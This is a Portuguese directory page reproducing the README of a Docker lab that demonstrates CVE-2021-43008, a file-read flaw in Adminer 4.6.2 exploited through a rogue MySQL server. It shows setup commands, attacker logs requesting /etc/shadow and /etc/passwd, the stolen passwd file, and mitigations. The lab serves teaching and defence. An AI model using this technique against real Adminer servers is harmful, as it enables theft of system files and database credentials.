Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
adminer_CVE-2021-43008 — Ambiente de demonstração para a vulnerabilidade CVE-2021-43008 do Adminer: observar o impacto real e testar medidas de mitigação. | Kitploit
Ferramentas/GitHubGitHub/bamolitho/adminer_cve-2021-43008
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Ambiente de demonstração para a vulnerabilidade CVE-2021-43008 do Adminer: observar o impacto real e testar medidas de mitigação.

Ver Repositório
115há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

**CVE-2021-43008 — Vulnerabilidade do Adminer **

Leitura arbitrária de arquivos via um servidor MySQL malicioso

1. O que é o Adminer?

Adminer é uma ferramenta web (PHP) que permite administrar facilmente bancos de dados MySQL, PostgreSQL, SQLite ou SQL Server. É comumente implantado como uma alternativa leve ao phpMyAdmin.

Versões afetadas: Adminer ≤ 4.6.2


2. Qual é a natureza da vulnerabilidade?

2.1. Falha de controle de acesso

Adminer autoriza a conexão a qualquer servidor MySQL remoto. Porém, ao conectar-se a um servidor MySQL, o cliente (aqui Adminer) aceita:

  • um conjunto de instruções iniciais do servidor,
  • incluindo o comando LOAD DATA LOCAL INFILE, que permite ao servidor solicitar que o cliente envie um arquivo local.

2.2. Problema

Adminer não valida corretamente as respostas do servidor MySQL nas versões vulneráveis.

Resultado: Um servidor MySQL controlado por um atacante pode solicitar:

"Leia este arquivo local na máquina ou contêiner que hospeda o Adminer e envie-o para mim."

Este mecanismo está relacionado ao pacote MySQL: 0xFB | filename → dispara a leitura local do arquivo.

Por que a versão 4.6.2 é vulnerável

Adminer 4.6.2 permitia que um usuário especificasse um servidor MySQL externo e se conectasse livremente a ele. Porém, o MySQL permitia adicionalmente — por padrão — o uso de:

  • LOAD DATA LOCAL INFILE
  • em modo automático quando alguns servidores solicitavam um arquivo.

Portanto: Adminer → conecta-se ao servidor malicioso → o servidor malicioso solicita um arquivo → Adminer o envia.

Essa é a essência da vulnerabilidade.


3. Condições de exploração

O atacante deve:

  1. Hospedar um servidor MySQL malicioso (Rogue MySQL Server).
  2. Fazer o Adminer conectar-se ao seu servidor:
    • via um erro de configuração,
    • via uma interface exposta publicamente,
    • via uma ação de um usuário (ataque do tipo "supply host").
  3. O servidor MySQL rogue retorna um pacote LOAD DATA LOCAL INFILE.
  4. Adminer lê um arquivo local.
  5. O arquivo é enviado de volta ao atacante.

Nenhuma senha root é necessária para exfiltrar um arquivo local: é o Adminer que executa a ação como uma aplicação PHP no servidor alvo.


4. Consequências da vulnerabilidade

4.1. Comprometimento da confidencialidade

O atacante pode:

  • ler /etc/passwd (da entidade que hospeda o adminer: máquina host ou contêiner),
  • ler /etc/shadow (dependendo das permissões do usuário PHP),
  • recuperar os arquivos de configuração,
  • roubar as credenciais de conexões MySQL,
  • extrair todas as informações acessíveis pelo usuário web.

4.2. Escala de impacto

Com as credenciais MySQL roubadas (etapa secundária), ele pode então:

  • conectar-se ao banco interno real,
  • ler os dados,
  • escrever nas tabelas,
  • injetar cargas maliciosas.

5. Demonstração prática (PoC) — Arquitetura do laboratório

O PoC é feito em um ambiente isolado e contêinerizado para evitar qualquer risco.

5.1. Componentes do laboratório

  1. Adminer vulnerável (versão 4.6.2) Função: vítima Exposto localmente via localhost:8080
  2. MySQL legítimo (opcional) Função: simular um banco real
  3. Rogue MySQL Server (Python) Função: atacante Ele envia os pacotes 0xFB filename para forçar o Adminer a ler um arquivo local.

5.2. Estrutura da pasta

adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. Execução do PoC: como a vulnerabilidade se manifesta?

6.1. Iniciar o laboratório

docker compose build && docker compose up -d

6.2. Conexão do Adminer ao Rogue Server

Em http://localhost:8080:

  • Sistema: MySQL
  • Servidor: rogue_mysql:33306
  • Usuário: qualquer
  • Senha: qualquer

6.3. Execução automática

  1. Adminer envia o handshake.
  2. O Rogue MySQL retorna LOAD DATA LOCAL INFILE '/etc/passwd'.
  3. Adminer lê /etc/passwd.
  4. Adminer envia seu conteúdo para o rogue.
  5. O rogue armazena o texto em stolen_file.txt.

6.4. Resultado observado

Use o comando a seguir para observar os logs do rogue:

docker logs -f rogue_mysql

Resultado esperado:

2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

Consultar o conteúdo do arquivo stolen_file.txt:

docker exec -it rogue_mysql sh

Uma vez dentro do contêiner, você poderá visualizar os conteúdos dos arquivos, incluindo stolen_file.txt

# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
# cat stolen_file.txt

Resultado:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Este resultado demonstra a vulnerabilidade sem ambiguidade.

7. Medidas de mitigação

A. Atualizar o Adminer (isso por si só é suficiente)

Solução mais confiável: Atualizar para Adminer ≥ 4.6.3

As versões posteriores corrigem o comportamento de rede.

O que foi corrigido nas versões seguintes

A partir do Adminer 4.7.x, várias proteções foram introduzidas:

Adminer agora proíbe por padrão LOAD DATA LOCAL INFILE

Ou seja:

  • desabilitado completamente
  • ou habilitado apenas quando explicitamente autorizado pelo usuário

→ Resultado: seu rogue MySQL não pode mais exfiltrar arquivos.

Adminer filtra as ações do cliente antes de enviá-las ao servidor

Isso impede que conexões externas usem funções perigosas.

Mecanismos adicionais de validação de entrada

As novas versões verificam:

  • se o servidor alvo é o esperado
  • se a ação não é perigosa
  • se a requisição corresponde a uma ação de usuário legítima

B. Desabilitar conexões externas

Limitar o Adminer apenas a hosts internos:

  • via firewall (OUTPUT + DOCKER NETWORKS),
  • via proxy reverso filtrado,
  • via configuração de rede estritamente localizada.

O Adminer de produção deve sempre apontar para um MySQL interno.


C. Desabilitar LOCAL INFILE no lado MySQL

Impede o roubo via cliente MySQL legítimo:

[mysqld]
local_infile=0

ou:

SET GLOBAL local_infile=0;

D. Nunca expor o Adminer publicamente

O Adminer não deve ser acessível na Internet.

Em produção:

Baixar ferramenta